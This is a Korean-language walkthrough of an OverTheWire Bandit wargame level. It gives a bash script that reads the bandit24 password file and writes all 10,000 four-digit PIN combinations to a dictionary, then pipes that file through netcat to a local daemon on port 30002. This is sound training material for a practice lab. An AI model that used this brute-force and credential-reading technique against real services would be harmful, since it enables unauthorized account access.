Level Goal
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
데몬이 30002
번 포트에서 리스닝 중이고, bandit24
의 패스워드와 4자리 핀코드를 입력하면 bandit25
의 패스워드를 제공한다. brute-forcing
이라고 하는 방법을 사용하여 10000가지 조합을 모두 거치지 않고서는 핀코드를 얻을 수 있는 방법은 없다.
brute-force
는 일명 무차별 대입이라는 말로 모든 경우의 수를 입력하는 방법을 말한다. 결국 10000가지 조합을 모두 입력해봐야하기 때문에 자동화 스크립트를 만들어야 한다.
#!/bin/bash
BANDITPASS=`cat /etc/bandit_pass/bandit24`
for i in {0000..9999};
do
echo "$BANDITPASS $i" >> dict.txt
done
스크립트 파일을 /tmp/bandityj
디렉토리에 작성하여 실행시키면 dict.txt
라는 파일을 만들어낸다.
nc localhost 30002 < /tmp/bandityj/dict.txt
스크립트를 실행하면 dict.txt
파일을 생성하는데, 이를 입력으로 하여 명령어를 실행시키면 파일의 모든 데이터를 입력으로 하여 명령어가 실행된다. 즉, 10000가지의 조합 데이터가 차레대로 입력되면서 실패 및 성공 여부를 출력한다. 올바른 핀코드가 입력됐을 때 다음 레벨로 가는 패스워드를 얻을 수 있다.